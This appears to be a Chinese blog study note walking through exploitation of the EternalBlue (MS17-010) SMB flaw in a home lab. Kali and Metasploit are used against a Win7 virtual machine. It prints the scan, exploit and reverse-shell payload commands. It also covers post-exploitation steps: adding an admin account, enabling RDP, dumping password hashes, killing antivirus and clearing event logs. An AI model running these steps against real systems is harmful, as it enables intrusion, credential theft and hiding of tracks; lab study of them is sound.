永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。
SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通,端口:445。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统。
1、永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码。
2、SMB服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无。
-----想了解SMB具体漏洞原理可以点击链接: NSA Eternalblue SMB 漏洞分析.
1、windows系统(靶机)(192.168.3.59)我这里使用的是在虚拟机里新建的win7系统
2、kali linux系统(攻击机)(192.168.3.42)我这里使用的是kali2021版本
1.在kaili上使用nmap探测win7的端口信息:nmap 192.168.3.59,可以看到该机器已开启445端口
也可以查看该445端口的banner信息,命令 nmap -sV -p445 192.168.3.59 探测到靶机开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。
打开MSF渗透工具, 使用kali自带的metasploit,输入msfconsole进入msf。
输入search ms17_010,搜索ms17_010漏洞
使用漏洞模块 :auxiliary/scanner/smb/smb_ms17_010模块;主要是为了扫描看目标靶机是否存在ms17-010漏洞
查看auxiliary/scanner/smb/smb_ms17_010模块的配置信息 查询该模块需要的参数,命令 show options,可以看到主要的参数是攻击的主机RHOSTS
在扫描模块设置win7靶机的ip:set rhosts 192.168.3.59 运行后会自动返回 rhost→192.168.3.59
输入show options 即可查看是否成功赋值上,如果写错了可以选择unset rhosts来取消重新选择
设置完成后,模块对目标靶机进行扫描 可以看到,Host is likely VULNERABLE to MS17-010(主机可能容易受到MS17-010的攻击!),证明可能存在永恒之蓝漏洞,下面开始利用 ;【这里要注意:如果没扫描到Host is likely VULNERABLE to MS17-010漏洞,那就有可能是被防火墙拦截了,只需关闭防火墙即可】
搜索ms17-010漏洞利用模块 ;
这里win7需要使要exploit/windows/smb/ms17_010_eternalblue,windows2003使用exploit/windows/smb/ms17_010_psexec 这里我们使用use exploit/windows/smb/ms17_010_eternalblue(进行攻击)
输入show options查看auxiliary(scanner/smb/smb_ms17_010)模块的配置信息
在攻击模块里设置win7靶机的IP 运行后会自动返回rhosts→192.168.3.59(如果有多个攻击目标ip间直接用空格隔开就行)
查看漏洞模块信息:info
这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统
查看可用的攻击payload。该命令可以查看当下漏洞利用模块下可用的所有Payload
【攻击载荷(默认windows/x64/meterpreter/reverse_tcp)命令是:set payload windows/x64/meterpreter/reverse_tcp】
设置接收信息的本地设备:set LHOST 192.168.3.42,运行结束后自动返回LHOST 192.168.3.42
运行结束后,获取到了meterpreter权限
输入shell直接进入靶机,在这里输入chcp 65001 改一下编码不然会乱码
给靶机创建一个用户
给靶机上刚创建的用户增加管理员权限,让它有远程控制的权限
用kali把win7靶机远程桌面服务打开 (还有一种方法运用getuid脚本开启目标主机远程桌面:run getgui -e或者run post/windows/manage/enable_rdp)
在kali终端,使用添加的管理员账户admin进行远程桌面
弹出win7界面,直接登录就行了
可以再kail上用这个命令清除日志【clearev】,也可在靶机上删除
运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
总结: 这是我对永恒之蓝ms17-010漏洞利用的学习总结,分享给大家一起学习,希望大家多多指点!